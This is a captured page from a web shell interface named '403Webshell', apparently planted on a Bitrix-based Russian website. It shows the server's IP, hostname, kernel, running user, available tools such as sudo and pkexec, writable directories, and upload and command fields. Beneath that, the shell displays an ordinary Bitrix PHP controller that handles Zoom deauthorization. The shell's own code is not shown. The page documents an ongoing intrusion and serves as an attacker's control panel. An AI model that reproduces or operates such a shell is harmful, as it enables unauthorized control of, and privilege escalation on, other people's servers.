403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/socialservices/lib/controller/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/socialservices/lib/controller/zoomuser.php
<?php

namespace Bitrix\Socialservices\Controller;

use Bitrix\Main\Service\MicroService\BaseReceiver;
use Bitrix\Socialservices\UserTable;

class ZoomUser extends BaseReceiver
{
	public function deauthorizeAction(string $socServLogin, array $payload): void
	{
		$result = UserTable::getList([
			'select' => ['ID', 'USER_ID'],
			'filter' => [
				'=LOGIN' => $socServLogin,
				'=EXTERNAL_AUTH_ID' => 'zoom',
			]
		]);

		while ($user = $result->fetch())
		{
			$deleteResult = UserTable::delete($user['ID']);

			//clean cache to update zoom connect page
			$cacheId = 'zoom' . '|' . $user['USER_ID'];
			$cache = \Bitrix\Main\Data\Cache::createInstance();
			$cache->clean($cacheId, \CZoomInterface::CACHE_DIR_CONNECT_INFO);
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit